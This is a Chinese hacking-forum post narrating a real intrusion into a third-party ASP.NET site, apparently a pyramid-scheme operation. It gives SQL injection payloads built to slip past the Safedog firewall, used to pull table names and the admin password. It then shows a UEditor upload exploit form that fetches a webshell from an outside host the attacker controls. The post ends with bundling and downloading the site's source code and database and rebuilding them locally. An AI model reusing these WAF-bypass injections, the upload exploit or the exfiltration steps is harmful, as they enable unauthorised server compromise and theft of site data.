跳转到帖子

  • 游客您好，欢迎来到黑客世界论坛！您可以在这里进行注册。

    赤队小组-代号1949（原CHT攻防小组）在这个瞬息万变的网络时代，我们保持初心，创造最好的社区来共同交流网络技术。您可以在论坛获取黑客攻防技巧与知识，您也可以加入我们的Telegram交流群 共同实时探讨交流。论坛禁止各种广告，请注册用户查看我们的使用与隐私策略，谢谢您的配合。小组成员可以获取论坛隐藏内容！

    TheHackerWorld官方

  • 0

某站点从SQL注入脱站&本地搭建全过程

 分享
HACK1949

询问由 HACK1949,

问题

HACK1949 Grand Master

HACK1949

发布于
发布于

某站点从SQL注入脱站&本地搭建全过程

5fe2d95871079.png

一、前言

由于是在已知有一处sql注入的情况下才接手进行的后续操作，因此前面信息搜集则一笔带过。

二、信息搜集

目标是个本地的传销站点其大致信息为IIS+ASP.NET+安全狗、腾讯云。

三、Bypass Sql

3.1 Fuzz

根据如上测试可以看出程序本身也有过滤，error为程序自身的过滤。可以利用IIS处理%符号的机制绕过部分符号，例如空格使用%0b 加号使用%2b等。再根据测试的结果，可以先利用convert转换报错获取一部分信息。

image.png

goodscontent.aspx?gid=convert(int,@@version)#版本信息
goodscontent.aspx?gid=convert(int,db_name())#数据库信息
goodscontent.aspx?gid=convert(int,user_name())#当前数据库用户
……
tips：可以通过遍历db_name(1)中的数字获取其他库名

得到以下信息：

ASP.NET 版本：Microsoft .NET Framework 版本:4.0.30319; ASP.NET 版本:4.0.30319.36400
数据库版本：Microsoft SQL Server 2008 (RTM) - 10.0.1600.22 (X64)
用户名：sa
计算机名：10_*_76_*\SQLEXPRESS      10.*.76.*
当前库：pan20170823
所有库名：
pan20170823
master
tempdb
model
msdb
ReportServer$SQLEXPRESS
ReportServer$SQLEXPRESSTempDB

再往下就是获取表的信息

goodscontent.aspx?gid=CONVERT(INT,(CHAR(58)%2bCHAR(58)%2b(SELECT%0btop%0b1%0bCAST(COUNT(*)%0bAS%0bnvarchar(4000))%0bFROM%0binformation_schema.TABLES%0b)%2bCHAR(58)%2bCHAR(58)))#获取表总个数

image.png由于我只会简单的select from因此始终无法获取表名，如果有其他姿势还望给科普下。

image.png

3.2 万金油

此时陷入僵局，后来想起在404大佬的一篇bypass安全狗的文章中提到过在mssql中注释加换行同样成立，遂构造之。

goodscontent.aspx?gid=--/*%0a(select%0btop%0b1%0btable_name%0bFROM%0binformation_schema.tables%0b)--%20*/
PS:由于注入点已经使用了convert做了数据转换，后续直接防入查询即可

获取到第一个表名：jsrecord

image.png

由于还是没能绕过单引号和等号，我始终用不了not in与for xml path来爆后续的表名，这又触及到了我知识盲区，因此只好查阅大量文章案例，最终构造出如下语句。

goodscontent.aspx?gid=--/*%0a(select%0btop%0b1%0btable_name%0bFROM%0binformation_schema.tables%0b)--%20*/
PS:由于注入点已经使用了convert做了数据转换，后续直接防入查询即可

image.png

此时只需要遍历top的数值即可，例如：

/goodscontent.aspx?gid=--/*%0a(SELECT%0bTOP%0b1%0btable_name%0bFROM%0binformation_schema.tables%0bWHERE%0btable_name%0bNOT%0bIN(SELECT%0bTOP%0b11%0btable_name%0bFROM%0binformation_schema.columns))--%20*/

image.png

通过不断的遍历数值发现还是存在问题，举个例子，即 1-20、200-209，334-345返回同一个表名，存在大量重复与无序的情况，但可以通过burp中intruder->Grep-Extact功能来解决，操作如下：
首先设置好intruder对001-600进行遍历（超过600多后就没什么内容了）

image.png

image.png然后使用Grep-Extact提取表名。

image.png

image.png

image.png

保存结果后去重即可。

image.png

和前面获取到的表总个数是一致的。

解下来就是获取memberadmin表中的列名与内容，但在此之前我还是习惯性的看了下后台的网页源代码。

image.png

/goodscontent.aspx?gid=--/*%0a(select%0btop%0b1%0bpassword%0bfrom%0bmemberadmin)--%20*/

image.png

三、后台getshell

登陆后台

image.png

经测试后发现信息管理处可以发布咨询，上传图片。通过修改去掉filename=”1.aspx”中的双引号绕过安全狗，但无法绕过程序自身的检测。

Content-Disposition: form-data; name="up_picture"; filename=xss.jpg .aspx

不过得知上传组件为ueditor，且.net版本存在上传漏洞

poc如下

<form action="http://***/***/net/controller.ashx?action=catchimage"enctype="application/x-www-form-urlencoded"  method="POST">
<p>shell addr:<input type="text" name="source[]" /></p >
<input type="submit" value="Submit" />
</form>

并在自己的服务器上准备好shell（注意过狗），名称为a.gif,然后填入shell地址

https://o0o0.club/a.gif?.aspx

image.png

提交后即可得到shell路径


四、打包源码与数据库

在有了shell之后要做的事情就更明确了，即是打包源码与数据库，由于只需要这两样操作，相对于不需要太大的权限，避免操作不当触发警告。因此我选择先通过shell来进行打包操作。

image.png

image.png

源码

这里利用的是自行上传的rar.exe来分卷打包源码，在此之前尝试过7z.exe（目标服务器上已安装）、makecab 但效果并不理想，姿势不够还望科普。

image.png

最终以每秒100k的速度下载完成。
image.png

数据库

略过，后台自带备份功能

坑点：后台的备份文件后缀为zip，下载回来总是提示文件损坏，一直以为备份功能有问题，后来发现文件头是TAPE。。。。


五、本地搭建

本地搭建的环境为 Windows server 2012+IIS8+SQL Server 2008,简单讲讲0.0

SQL Server

安装过程略过
导入数据

新建数据库，然后通过原设备还原数据

image.png

image.png

还原成功

image.png

IIS与ASP.NET

安装一笔带过，左边拉满就行，简单粗暴

image.png

image.png

添加站点

image.png

最好对应目标版本

image.png

修改源码中的配置文件

image.png

访问

image.png

链接帖子
意见的链接
分享到其他网站

这个问题有0个答案

推荐的帖子

此问题没有答案

 分享
转到问题列表

黑客攻防讨论组

黑客攻防讨论组

  
    You don't have permission to chat.

    • 最近浏览   0位会员

      • 没有会员查看此页面。

    黑客世界站内导航 (SITE MAP)

    ×
    ×
    • 创建新的...